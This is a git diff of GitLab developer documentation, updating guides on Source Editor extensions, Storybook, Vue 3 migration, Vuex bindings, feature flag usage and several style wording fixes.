+ For example, on a form's submission:
+
+ ```javascript
+ form.addEventListener('submit', () => {
+ my_content_variable = this.editor.getValue();
+ });
+ ```
+
+1. Performance
+
+ Even though Source Editor itself is extremely slim, it still depends on Monaco editor,
+ which adds weight. Every time you add Source Editor to a view, the JavaScript bundle's
+ size significantly increases, affecting your view's loading performance. We recommend
+ you import the editor on demand if either:
+
+ - You're uncertain if the view needs the editor.
+ - The editor is a secondary element of the view.
+
+ Loading Source Editor on demand is handled like loading any other module:
+
+ ```javascript
+ someActionFunction() {
+ import(/* webpackChunkName: 'SourceEditor' */ '~/editor/source_editor').
+ then(({ default: SourceEditor }) => {
+ const editor = new SourceEditor();
+ ...
+ });
+ ...
+ }
+ ```
+
+## Extensions
+
+Source Editor provides a universal, extensible editing tool to the whole product,
+and doesn't depend on any particular group. Even though the Source Editor's core is owned by
+[Create::Editor FE Team](https://about.gitlab.com/handbook/engineering/development/dev/create-editor/),
+any group can own the extensions—the main functional elements. The goal of
+Source Editor extensions is to keep the editor's core slim and stable. Any
+needed features can be added as extensions to this core. Any group can
+build and own new editing features without worrying about changes to Source Editor
+breaking or overriding them.
+
+You can depend on other modules in your extensions. This organization helps keep
+the size of Source Editor's core at bay by importing dependencies only when needed.
+
+Structurally, the complete implementation of Source Editor can be presented as this diagram:
+
+```mermaid
+graph TD;
+ B[Extension 1]---A[Source Editor]
+ C[Extension 2]---A[Source Editor]
+ D[Extension 3]---A[Source Editor]
+ E[...]---A[Source Editor]
+ F[Extension N]---A[Source Editor]
+ A[Source Editor]---Z[Monaco]
+```
+
+An extension is an ES6 module that exports a JavaScript object:
+
+```javascript
+import { Position } from 'monaco-editor';
+
+export default {
+ navigateFileStart() {
+ this.setPosition(new Position(1, 1));
+ },
+};
+
+```
+
+In the extension's functions, `this` refers to the current Source Editor instance.
+Using `this`, you get access to the complete instance's API, such as the
+`setPosition()` method in this particular case.
+
+### Using an existing extension
+
+Adding an extension to Source Editor's instance requires the following steps:
+
+```javascript
+import SourceEditor from '~/editor/source_editor';
+import MyExtension from '~/my_extension';
+
+const editor = new SourceEditor().createInstance({
+ ...
+});
+editor.use(MyExtension);
+```
+
+### Creating an extension
+
+Let's create our first Source Editor extension. Extensions are
+[ES6 modules](https://hacks.mozilla.org/2015/08/es6-in-depth-modules/) exporting a
+basic `Object`, used to extend Source Editor's features. As a test, let's
+create an extension that extends Source Editor with a new function that, when called,
+outputs the editor's content in `alert`.
+
+`~/my_folder/my_fancy_extension.js:`
+
+```javascript
+export default {
+ throwContentAtMe() {
+ alert(this.getValue());
+ },
+};
+```
+
+In the code example, `this` refers to the instance. By referring to the instance,
+we can access the complete underlying
+[Monaco editor API](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html),
+which includes functions like `getValue()`.
+
+Now let's use our extension:
+
+`~/my_folder/component_bundle.js`:
+
+```javascript
+import SourceEditor from '~/editor/source_editor';
+import MyFancyExtension from './my_fancy_extension';
+
+const editor = new SourceEditor().createInstance({
+ ...
+});
+editor.use(MyFancyExtension);
+...
+someButton.addEventListener('click', () => {
+ editor.throwContentAtMe();
+});
+```
+
+First of all, we import Source Editor and our new extension. Then we create the
+editor and its instance. By default Source Editor has no `throwContentAtMe` method.
+But the `editor.use(MyFancyExtension)` line brings that method to our instance.
+After that, we can use it any time we need it. In this case, we call it when some
+theoretical button has been clicked.
+
+This script would result in an alert containing the editor's content when `someButton` is clicked.
+
+![Source Editor new extension's result](img/editor_lite_create_ext.png)
+
+### Tips
+
+1. Performance
+
+ Just like Source Editor itself, any extension can be loaded on demand to not harm
+ loading performance of the views:
+
+ ```javascript
+ const EditorPromise = import(
+ /* webpackChunkName: 'SourceEditor' */ '~/editor/source_editor'
+ );
+ const MarkdownExtensionPromise = import('~/editor/source_editor_markdown_ext');
+
+ Promise.all([EditorPromise, MarkdownExtensionPromise])
+ .then(([{ default: SourceEditor }, { default: MarkdownExtension }]) => {
+ const editor = new SourceEditor().createInstance({
+ ...
+ });
+ editor.use(MarkdownExtension);
+ });
+ ```
+
+1. Using multiple extensions
+
+ Just pass the array of extensions to your `use` method:
+
+ ```javascript
+ editor.use([FileTemplateExtension, MyFancyExtension]);
+ ```
diff --git a/doc/development/fe_guide/storybook.md b/doc/development/fe_guide/storybook.md
new file mode 100644
index 00000000000..15225cc1deb
--- /dev/null
+++ b/doc/development/fe_guide/storybook.md
@@ -0,0 +1,51 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Storybook
+
+The Storybook for the `gitlab-org/gitlab` project is available on our [GitLab Pages site](https://gitlab-org.gitlab.io/gitlab/storybook).
+
+## Storybook in local development
+
+Storybook dependencies and configuration are located under the `storybook/` directory.
+
+To build and launch Storybook locally, in the root directory of the `gitlab` project:
+
+1. Install Storybook dependencies:
+
+ ```shell
+ yarn storybook:install
+ ```
+
+1. Build the Storybook site:
+
+ ```shell
+ yarn storybook:start
+ ```
+
+## Adding components to Storybook
+
+Stories can be added for any Vue component in the `gitlab` repository.
+
+To add a story:
+
+1. Create a new `.stories.js` file in the same directory as the Vue component.
+ The file name should have the same prefix as the Vue component.
+
+ ```txt
+ vue_shared/
+ ├─ components/
+ │ ├─ sidebar
+ │ │ ├─ todo_button.vue
+ │ │ ├─ todo_button.stories.js
+ ```
+
+1. Write the story as per the [official Storybook instructions](https://storybook.js.org/docs/vue/writing-stories/introduction/)
+
+ Notes:
+ - Specify the `title` field of the story as the component's file path from the `javascripts/` directory,
+ e.g. if the component is located at `app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.vue`, specify the `title` as
+ `vue_shared/components/To-do Button`. This will ensure the Storybook navigation maps closely to our internal directory structure.
diff --git a/doc/development/fe_guide/style/html.md b/doc/development/fe_guide/style/html.md
index 18f72a9655c..72492d56ee4 100644
--- a/doc/development/fe_guide/style/html.md
+++ b/doc/development/fe_guide/style/html.md
@@ -62,7 +62,7 @@ Avoid forcing links to open in a new window as this reduces the control the user
However, it might be a good idea to use a blank target when replacing the current page with
the link makes the user lose content or progress.
-Use `rel="noopener noreferrer"` whenever your links open in a new window, i.e. `target="_blank"`. This prevents a security vulnerability [documented by JitBit](https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/).
+Use `rel="noopener noreferrer"` whenever your links open in a new window, that is, `target="_blank"`. This prevents a security vulnerability [documented by JitBit](https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/).
When using `gl-link`, using `target="_blank"` is sufficient as it automatically adds `rel="noopener noreferrer"` to the link.
diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md
index c0817626360..4a9446f2949 100644
--- a/doc/development/fe_guide/style/scss.md
+++ b/doc/development/fe_guide/style/scss.md
@@ -51,7 +51,7 @@ We recommend a "utility-first" approach.
1. Start with utility classes.
1. If composing utility classes into a component class removes code duplication and encapsulates a clear responsibility, do it.
-This encourages an organic growth of component classes and prevents the creation of one-off non-reusable classes. Also, the kind of classes that emerge from "utility-first" tend to be design-centered (e.g. `.button`, `.alert`, `.card`) rather than domain-centered (e.g. `.security-report-widget`, `.commit-header-icon`).
+This encourages an organic growth of component classes and prevents the creation of one-off non-reusable classes. Also, the kind of classes that emerge from "utility-first" tend to be design-centered (for example, `.button`, `.alert`, `.card`) rather than domain-centered (for example, `.security-report-widget`, `.commit-header-icon`).
Inspiration:
@@ -139,7 +139,7 @@ To check if any warnings are produced by your changes, run `yarn lint:stylelint`
catch any warnings.
If the Rake task is throwing warnings you don't understand, SCSS Lint's
-documentation includes [a full list of their rules](https://stylelint.io/user-guide/rules/list).
+documentation includes [a full list of their rules](https://stylelint.io/user-guide/rules/list/).
### Fixing issues
diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md
index d06e93da0f3..7da462a5f89 100644
--- a/doc/development/fe_guide/vue3_migration.md
+++ b/doc/development/fe_guide/vue3_migration.md
@@ -8,7 +8,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Preparations for a Vue 3 migration are tracked in epic [&3174](https://gitlab.com/groups/gitlab-org/-/epics/3174)
-In order to prepare for the eventual migration to Vue 3.x, we should be wary about adding the following features to the codebase:
+In order to prepare for the eventual migration to Vue 3.x, we should not use the following deprecated features in the codebase:
+
+NOTE:
+Our linting rules block the use of these deprecated features.
## Vue filters
@@ -132,3 +135,47 @@ shallowMount(MyAwesomeComponent, {
}
})
```
+
+## Props default function `this` access
+
+**Why?**
+
+In Vue 3, props default value factory functions no longer have access to `this`
+(the component instance).
+
+**What to use instead**
+
+Write a computed prop that resolves the desired value from other props. This
+will work in both Vue 2 and 3.
+
+```html
+<script>
+export default {
+ props: {
+ metric: {
+ type: String,
+ required: true,
+ },
+ title: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ actualTitle() {
+ return this.title ?? this.metric;
+ },
+ },
+}
+
+</script>
+
+<template>
+ <div>{{ actualTitle }}</div>
+</template>
+```
+
+[In Vue 3](https://v3.vuejs.org/guide/migration/props-default-this.html#props-default-function-this-access),
+the props default value factory is passed the raw props as an argument, and can
+also access injections.
diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md
index 3d0044928f1..064f01c8195 100644
--- a/doc/development/fe_guide/vuex.md
+++ b/doc/development/fe_guide/vuex.md
@@ -106,7 +106,7 @@ In this file, we write the actions that call mutations for handling a list of us
.then(({ data }) => commit(types.RECEIVE_USERS_SUCCESS, data))
.catch((error) => {
commit(types.RECEIVE_USERS_ERROR, error)
- createFlash('There was an error')
+ createFlash({ message: 'There was an error' })
});
}
@@ -540,11 +540,11 @@ export default {
foo: ''
},
actions: {
- updateBar() {...}
- updateAll() {...}
+ updateBar() {...},
+ updateAll() {...},
},
getters: {
- getFoo() {...}
+ getFoo() {...},
}
}
```
@@ -559,13 +559,13 @@ export default {
* @param {string} list[].getter - the name of the getter, leave it empty to not use a getter
* @param {string} list[].updateFn - the name of the action, leave it empty to use the default action
* @param {string} defaultUpdateFn - the default function to dispatch
- * @param {string} root - optional key of the state where to search fo they keys described in list
+ * @param {string|function} root - optional key of the state where to search for they keys described in list
* @returns {Object} a dictionary with all the computed properties generated
*/
...mapComputed(
[
'baz',
- { key: 'bar', updateFn: 'updateBar' }
+ { key: 'bar', updateFn: 'updateBar' },
{ key: 'foo', getter: 'getFoo' },
],
'updateAll',
@@ -575,3 +575,48 @@ export default {
```
`mapComputed` then generates the appropriate computed properties that get the data from the store and dispatch the correct action when updated.
+
+In the event that the `root` of the key is more than one-level deep you can use a function to retrieve the relevant state object.
+
+For instance, with a store like:
+
+```javascript
+// this store is non-functional and only used to give context to the example
+export default {
+ state: {
+ foo: {
+ qux: {
+ baz: '',
+ bar: '',
+ foo: '',
+ },
+ },
+ },
+ actions: {
+ updateBar() {...},
+ updateAll() {...},
+ },
+ getters: {
+ getFoo() {...},
+ }
+}
+```
+
+The `root` could be:
+
+```javascript
+import { mapComputed } from '~/vuex_shared/bindings'
+export default {
+ computed: {
+ ...mapComputed(
+ [
+ 'baz',
+ { key: 'bar', updateFn: 'updateBar' },
+ { key: 'foo', getter: 'getFoo' },
+ ],
+ 'updateAll',
+ (state) => state.foo.qux,
+ ),
+ }
+}
+```
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index a9ebcfc9fba..c69a698149e 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -221,7 +221,7 @@ you should fully roll out the feature by enabling the flag **globally** by runni
```
This changes the feature flag state to be **enabled** always, which overrides the
-existing gates (e.g. `--group=gitlab-org`) in the above processes.
+existing gates (for example, `--group=gitlab-org`) in the above processes.
Note, that if an actor based feature gate is present, switching the
`default_enabled` attribute of the YAML definition from `false` to `true`
@@ -265,6 +265,8 @@ To disable a feature flag that has been enabled for a specific project you can r
You cannot selectively disable feature flags for a specific project/group/user without applying a [specific method of implementing](index.md#selectively-disable-by-actor) the feature flags.
+If a feature flag is disabled via chatops, that will take precedence over the `default_enabled` value in the YML. In other words, you could have a feature enabled for on-premise installations but not for GitLab.com.
+
### Feature flag change logging
#### ChatOps level
diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md
deleted file mode 100644
index d7807c6f586..00000000000
--- a/doc/development/feature_flags/development.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-06-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md
index 79a100e44a5..1962d5262ce 100644
--- a/doc/development/feature_flags/index.md
+++ b/doc/development/feature_flags/index.md
@@ -5,15 +5,15 @@ group: Development
info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
---
-# Developing with feature flags
+# Feature flags in the development of GitLab
**NOTE**:
The documentation below covers feature flags used by GitLab to deploy its own features, which **is not** the same
as the [feature flags offered as part of the product](../../operations/feature_flags.md).
This document provides guidelines on how to use feature flags
-in the GitLab codebase to conditionally enable features
-and test them.
+for the development of GitLab to conditionally and/or incrementally enable features
+and test them in production/staging.
WARNING:
All newly-introduced feature flags should be [disabled by default](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development).
@@ -21,23 +21,29 @@ All newly-introduced feature flags should be [disabled by default](https://about
NOTE:
This document is the subject of continued work as part of an epic to [improve internal usage of Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). Raise any suggestions as new issues and attach them to the epic.
+For an [overview of the feature flag lifecycle](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flag-lifecycle), or if you need help deciding [if you should use a feature flag](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags) or not, please see the [feature flag lifecycle](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle) handbook page.
+
+## When to use feature flags
+
+Moved to the ["When to use feature flags"](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags) section in the handbook.
+
## Feature flags in GitLab development
The following highlights should be considered when deciding if feature flags
should be leveraged:
-- By default, the feature flags should be **off**.
+- The feature flag must be **disabled by default**.
- Feature flags should remain in the codebase for as short period as possible
to reduce the need for feature flag accounting.
-- The person operating with feature flags is responsible for clearly communicating
- the status of a feature behind the feature flag with responsible stakeholders. The
+- The person operating the feature flag is responsible for clearly communicating
+ the status of a feature behind the feature flag in the documentation and with other stakeholders. The
issue description should be updated with the feature flag name and whether it is
defaulted on or off as soon it is evident that a feature flag is needed.
-- Merge requests that make changes hidden behind a feature flag, or remove an
+- Merge requests that introduce a feature flag, update its state, or remove them
existing feature flag because a feature is deemed stable must have the
~"feature flag" label assigned.
-- When development of a feature will be spread across multiple merge
- requests, you can use the following workflow:
+
+When the feature implementation is delivered among multiple merge requests:
1. [Create a new feature flag](#create-a-new-feature-flag)
which is **off** by default, in the first merge request which uses the flag.
@@ -55,7 +61,7 @@ should be leveraged:
One might be tempted to think that feature flags will delay the release of a
feature by at least one month (= one release). This is not the case. A feature
flag does not have to stick around for a specific amount of time
-(e.g. at least one release), instead they should stick around until the feature
+(for example, at least one release), instead they should stick around until the feature
is deemed stable. Stable means it works on GitLab.com without causing any
problems, such as outages.
@@ -72,24 +78,51 @@ Choose a feature flag type that matches the expected usage.
### `development` type
`development` feature flags are short-lived feature flags,
-used so that unfinished code can be deployed in production.
+used for deploying unfinished code to production. Most feature flags used at
+GitLab are the `development` type.
-A `development` feature flag should have a rollout issue,
-ideally created using the [Feature Flag Roll Out template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md).
+A `development` feature flag must have a rollout issue
+created from the [Feature Flag Roll Out template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md).
+
+The format for `development` feature flags is `Feature.<state>(:<dev_flag_name>)`.
+To enable and disable them, run on the GitLab Rails console:
+
+```ruby
+# To enable it for the instance:
+Feature.enable(:<dev_flag_name>)
-This is the default type used when calling `Feature.enabled?`.
+# To disable it for the instance:
+Feature.disable(:<dev_flag_name>)
+
+# To enable for a specific project:
+Feature.enable(:<dev_flag_name>, Project.find(<project id>))
+
+# To disable for a specific project:
+Feature.disable(:<dev_flag_name>, Project.find(<project id>))
+```
+
+To check a `development` feature flag's state:
+
+```ruby
+# Check if the feature flag is enabled
+Feature.enabled?(:dev_flag_name)
+
+# Check if the feature flag is disabled
+Feature.disabled?(:dev_flag_name)
+```
+
+For `development` feature flags, the type doesn't need to be specified (they're the default type).
### `ops` type
`ops` feature flags are long-lived feature flags that control operational aspects
of GitLab product behavior. For example, feature flags that disable features that might
-have a performance impact, like special Sidekiq worker behavior.
+have a performance impact such as Sidekiq worker behavior.
`ops` feature flags likely do not have rollout issues, as it is hard to
predict when they are enabled or disabled.
-To use `ops` feature flags, you must append `type: :ops` to `Feature.enabled?`
-invocations:
+To invoke `ops` feature flags, you must append `type: :ops`:
```ruby
# Check if feature flag is enabled
@@ -108,7 +141,7 @@ push_frontend_feature_flag(:my_ops_flag, project, type: :ops)
An `experiment` feature flag should conform to the same standards as a `development` feature flag,
although the interface has some differences. An experiment feature flag should have a rollout issue,
-ideally created using the [Experiment Tracking template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/experiment_tracking_template.md). More information can be found in the [experiment guide](../experiment_guide/index.md).
+created using the [Experiment Tracking template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/experiment_tracking_template.md). More information can be found in the [experiment guide](../experiment_guide/index.md).
## Feature flag definition and validation
@@ -175,9 +208,24 @@ type: development
default_enabled: false
```
+All newly-introduced feature flags must be [**disabled by default**](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development).
+
+Features that are developed and merged behind a feature flag
+should not include a changelog entry. The entry should be added either in the merge
+request removing the feature flag or the merge request where the default value of
+the feature flag is set to enabled. If the feature contains any database migrations, it
+*should* include a changelog entry for the database changes.
+
NOTE:
To create a feature flag that is only used in EE, add the `--ee` flag: `bin/feature-flag --ee`
+### Risk of a broken master (main) branch
+
+WARNING:
+Feature flags **must** be used in the MR that introduces them. Not doing so causes a
+[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due
+to the `rspec:feature-flags` job that only runs on the `master` branch.
+
## Delete a feature flag
See [cleaning up feature flags](controls.md#cleaning-up) for more information about
@@ -286,8 +334,11 @@ end
### Frontend
-Use the `push_frontend_feature_flag` method which is available to all controllers that inherit from `ApplicationController`. You can use
-this method to expose the state of a feature flag, for example:
+When using a feature flag for UI elements, make sure to _also_ use a feature
+flag for the underlying backend code, if there is any. This ensures there is
+absolutely no way to use the feature until it is enabled.
+
+Use the `push_frontend_feature_flag` method which is available to all controllers that inherit from `ApplicationController`. You can use this method to expose the state of a feature flag, for example:
```ruby
before_action do
@@ -364,6 +415,8 @@ Feature.enabled?(:feature_flag, group)
Feature.enabled?(:feature_flag, user)
```
+Please see [Feature flag controls](controls.md#process) for more details on working with feature flags.
+
#### Selectively disable by actor
By default you cannot selectively disable a feature flag by actor.
@@ -461,7 +514,7 @@ Feature.remove(:feature_flag_name)
- **Exception:** database migrations **should** have a changelog entry.
- Any change related to a feature flag itself (flag removal, default-on setting) **should** have a changelog entry.
Use the flowchart to determine the changelog entry type.
-
+
```mermaid
graph LR
A[flag: default off] -->|'added' / 'changed'| B(flag: default on)
@@ -470,7 +523,7 @@ Feature.remove(:feature_flag_name)
A -->|'added' / 'changed'| C
A -->|no changelog| D
```
-
+
- Any change behind a feature flag that is **enabled** by default **should** have a changelog entry.
## Feature flags in tests
diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md
index 0e962218ab9..3fbb207a12b 100644
--- a/doc/development/feature_flags/process.md
+++ b/doc/development/feature_flags/process.md
@@ -1,9 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/'
-remove_date: '2021-06-01'
+remove_date: '2022-03-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/).
-<!-- This redirect file can be deleted after 2021-06-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
+<!-- This redirect file can be deleted after 2022-03-01. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md
index 36b9064bbc4..4631ab3a471 100644
--- a/doc/development/features_inside_dot_gitlab.md
+++ b/doc/development/features_inside_dot_gitlab.md
@@ -13,7 +13,7 @@ When implementing new features, please refer to these existing features to avoid
- [Issue Templates](../user/project/description_templates.md#create-an-issue-template): `.gitlab/issue_templates/`.
- [Merge Request Templates](../user/project/description_templates.md#create-a-merge-request-template): `.gitlab/merge_request_templates/`.
- [GitLab Kubernetes Agents](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`.
-- [CODEOWNERS](../user/project/code_owners.md#how-to-set-up-code-owners): `.gitlab/CODEOWNERS`.
+- [CODEOWNERS](../user/project/code_owners.md#set-up-code-owners): `.gitlab/CODEOWNERS`.
- [Route Maps](../ci/review_apps/#route-maps): `.gitlab/route-map.yml`.
- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`.
- [GitLab managed apps CI/CD](../user/clusters/applications.md#usage): `.gitlab/managed-apps/config.yaml`.
diff --git a/doc/development/foreign_keys.md b/doc/development/foreign_keys.md
index abe191ace5e..a9edbc68a2e 100644
--- a/doc/development/foreign_keys.md
+++ b/doc/development/foreign_keys.md
@@ -17,7 +17,7 @@ end
Here you will need to add a foreign key on column `posts.user_id`. This ensures
that data consistency is enforced on database level. Foreign keys also mean that
-the database can very quickly remove associated data (e.g. when removing a
+the database can very quickly remove associated data (for example, when removing a
user), instead of Rails having to do this.
## Adding Foreign Keys In Migrations
@@ -28,7 +28,8 @@ Guide](migration_style_guide.md) for more information.
Keep in mind that you can only safely add foreign keys to existing tables after
you have removed any orphaned rows. The method `add_concurrent_foreign_key`
-does not take care of this so you'll need to do so manually.
+does not take care of this so you'll need to do so manually. See
+[adding foreign key constraint to an existing column](database/add_foreign_key_to_existing_column.md).
## Cascading Deletes
diff --git a/doc/development/geo.md b/doc/development/geo.md
index 8017bd21126..38245e5f4e5 100644
--- a/doc/development/geo.md
+++ b/doc/development/geo.md
@@ -56,7 +56,7 @@ Geo uses [streaming replication](#streaming-replication) to replicate
the database from the **primary** to the **secondary** nodes. This
replication gives the **secondary** nodes access to all the data saved
in the database. So users can log in on the **secondary** and read all
-the issues, merge requests, etc. on the **secondary** node.
+the issues, merge requests, and so on, on the **secondary** node.
### Repository replication
@@ -127,7 +127,7 @@ periodically to sync all uploads that aren't synced to the Geo
Files are copied via HTTP(s) and initiated via the
`/api/v4/geo/transfers/:type/:id` endpoint,
-e.g. `/api/v4/geo/transfers/lfs/123`.
+for example, `/api/v4/geo/transfers/lfs/123`.
## Authentication
@@ -219,7 +219,7 @@ bundle exec rake geo:db:migrate
Geo uses [Finders](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/finders),
which are classes take care of the heavy lifting of looking up
-projects/attachments/etc. in the tracking database and main database.
+projects/attachments/ and so on, in the tracking database and main database.
## Redis
@@ -228,7 +228,7 @@ node. It is used for caching, storing sessions, and other persistent
data.
Redis data replication between **primary** and **secondary** node is
-not used, so sessions etc. aren't shared between nodes.
+not used, so sessions and so on, aren't shared between nodes.
## Object Storage
@@ -396,11 +396,6 @@ that need to be taken care of:
- Health Check. If we can perform some pre-cheÑks and make node unhealthy if something is wrong, we should do that.
The `rake gitlab:geo:check` command has to be updated too.
-### Geo self-service framework (alpha)
-
-We started developing a new [Geo self-service framework (alpha)](geo/framework.md)
-which makes it a lot easier to add a new data type.
-
## History of communication channel
The communication channel has changed since first iteration, you can
diff --git a/doc/development/git_object_deduplication.md b/doc/development/git_object_deduplication.md
index 1607f3e7a12..3ac24b19fc2 100644
--- a/doc/development/git_object_deduplication.md
+++ b/doc/development/git_object_deduplication.md
@@ -163,7 +163,7 @@ repository and a pool.
### Pool existence
-If GitLab thinks a pool repository exists (i.e. it exists according to
+If GitLab thinks a pool repository exists (that is, it exists according to
SQL), but it does not on the Gitaly server, then it is created on
the fly by Gitaly.
diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md
index 2e814a9c41b..0a17bfedc0f 100644
--- a/doc/development/gitaly.md
+++ b/doc/development/gitaly.md
@@ -213,7 +213,7 @@ GITALY_REPO_URL=https://gitlab+deploy-token-1000:token-here@gitlab.com/nick.thom
To use a custom Gitaly repository in CI/CD, for instance if you want your
GitLab fork to always use your own Gitaly fork, set `GITALY_REPO_URL`
-as a [CI/CD variable](../ci/variables/README.md).
+as a [CI/CD variable](../ci/variables/index.md).
### Use a locally modified version of Gitaly RPC client
@@ -235,7 +235,7 @@ changes to embed a new SHA in the `Gemfile.lock` file.
---
-[Return to Development documentation](README.md)
+[Return to Development documentation](index.md)
## Wrapping RPCs in Feature Flags
diff --git a/doc/development/github_importer.md b/doc/development/github_importer.md
index cc289496301..a733d6881fa 100644
--- a/doc/development/github_importer.md
+++ b/doc/development/github_importer.md
@@ -145,7 +145,7 @@ long we're still performing work.
GitHub has a rate limit of 5,000 API calls per hour. The number of requests
necessary to import a project is largely dominated by the number of unique users
-involved in a project (e.g. issue authors). Other data such as issue pages
+involved in a project (for example, issue authors). Other data such as issue pages
and comments typically only requires a few dozen requests to import. This is
because we need the Email address of users in order to map them to GitLab users.
@@ -213,3 +213,41 @@ The code for this resides in:
- `lib/gitlab/github_import/label_finder.rb`
- `lib/gitlab/github_import/milestone_finder.rb`
- `lib/gitlab/github_import/caching.rb`
+
+## Logs
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48512/diffs) in GitLab 13.7.
+> - Number of imported objects [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64256) in GitLab 14.1.
+
+The import progress can be checked in the `logs/importer.log` file. Each relevant import is logged
+with `"import_source": "github"` and the `"project_id"`.
+
+The last log entry reports the number of objects fetched and imported:
+
+```json
+{
+ "message": "GitHub project import finished",
+ "duration_s": 347.25,
+ "objects_imported": {
+ "fetched": {
+ "diff_note": 93,
+ "issue": 321,
+ "note": 794,
+ "pull_request": 108,
+ "pull_request_merged_by": 92,
+ "pull_request_review": 81
+ },
+ "imported": {
+ "diff_note": 93,
+ "issue": 321,
+ "note": 794,
+ "pull_request": 108,
+ "pull_request_merged_by": 92,
+ "pull_request_review": 81
+ }
+ },
+ "import_source": "github",
+ "project_id": 47,
+ "import_stage": "Gitlab::GithubImport::Stage::FinishImportWorker"
+}
+```
diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md
index ad24353fde8..224d8a0a0f5 100644
--- a/doc/development/go_guide/index.md
+++ b/doc/development/go_guide/index.md
@@ -14,7 +14,7 @@ projects using the [Go language](https://golang.org).
GitLab is built on top of [Ruby on Rails](https://rubyonrails.org/), but we're
also using Go for projects where it makes sense. Go is a very powerful
language, with many advantages, and is best suited for projects with a lot of
-IO (disk/network access), HTTP requests, parallel processing, etc. Since we
+IO (disk/network access), HTTP requests, parallel processing, and so on. Since we
have both Ruby on Rails and Go at GitLab, we should evaluate carefully which of
the two is best for the job.
@@ -390,7 +390,7 @@ consistent across Workhorse, Gitaly, and, in future, other Go servers. For
example, in the case of `gitlab.com/gitlab-org/labkit/tracing` we can switch
from using `Opentracing` directly to using `Zipkin` or Gokit's own tracing wrapper
without changes to the application code, while still keeping the same
-consistent configuration mechanism (i.e. the `GITLAB_TRACING` environment
+consistent configuration mechanism (that is, the `GITLAB_TRACING` environment
variable).
### Context
@@ -436,8 +436,8 @@ and the version being used for [CNG](https://gitlab.com/gitlab-org/build/cng/blo
### Updating Go version
-We should always use a [supported version](https://golang.org/doc/devel/release.html#policy)
-of Go, i.e., one of the three most recent minor releases, and should always use
+We should always use a [supported version](https://golang.org/doc/devel/release#policy)
+of Go, that is, one of the three most recent minor releases, and should always use
the most recent patch-level for that version, as it may contain security fixes.
Changing the version affects every project being compiled, so it's important to
@@ -507,4 +507,4 @@ If the scanner report is small, less than 35 lines, then feel free to [inline th
---
-[Return to Development documentation](../README.md).
+[Return to Development documentation](../index.md).
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index 7ea8378b6db..796a1f44ccd 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -363,7 +363,7 @@ use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make sure to
// => When x == 2: 'Last 2 days'
```
-The `n_` method should only be used to fetch pluralized translations of the same
+The `n_` and `n__` methods should only be used to fetch pluralized translations of the same
string, not to control the logic of showing different strings for different
quantities. Some languages have different quantities of target plural forms.
For example, Chinese (simplified) has only one target plural form in our
@@ -376,7 +376,7 @@ For example, use this:
if selected_projects.one?
selected_projects.first.name
else
- n__("Project selected", "%d projects selected", selected_projects.count)
+ n_("Project selected", "%d projects selected", selected_projects.count)
